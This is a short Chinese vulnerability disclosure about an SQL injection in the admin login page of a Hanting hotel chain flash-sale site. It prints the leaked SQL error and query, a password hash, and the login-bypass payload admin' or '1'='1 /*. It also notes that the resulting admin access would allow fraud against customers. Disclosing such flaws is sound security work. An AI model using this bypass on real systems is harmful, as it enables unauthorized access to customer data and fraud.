汉庭连锁酒店后台SQL注入,可绕过登陆限制进入后台,可脱库. 详细说明：问题发生在这个站点.http://miaosha.htinns测试数据/ 标题内没有写具体信息.因为怕发布后被人入侵. 后台登陆地址为:http://miaosha.htinns测试数据/admin/admin_login.php 帐号输入admin' 登陆后提示如下图 爆出了查询语句. Database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '453e41d218e071ccfb2d1c99ce23906a'' at line 1] select * from users_admin where userid='admin'' and pwd='453e41d218e071ccfb2d1c99ce23906a' 重点在这里 select * from users_admin where userid='admin'' and pwd='453e41d218e071ccfb2d1c99ce23906a' 然后构造绕过 使用帐号admin' or '1'='1 /* 成功绕过登陆后台,截图如下 拥有后台全部权限...可以获得所有秒杀成功的数据,对其进行诈骗. 也可以发布秒杀信息,造成汉庭信任公关危机... 无意冒犯.我也是汉庭常客.喜欢你们的服务态度.就是网速太慢了. 啥时候能提升下网速呢? 修复方案： 过滤各种提交. 作者 only_guest
查看更多关于汉庭连锁酒店后台过滤不严致SQL注入及修复 - 网的详细内容...